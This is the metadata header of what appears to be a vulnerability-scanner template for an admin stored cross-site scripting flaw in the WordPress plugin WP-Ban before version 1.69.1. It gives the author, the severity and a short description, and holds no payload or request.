info:
  name: WP-Ban < 1.69.1 - Admin Stored XSS
  author: Hardik-Solanki
  severity: medium
  description: |
    The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
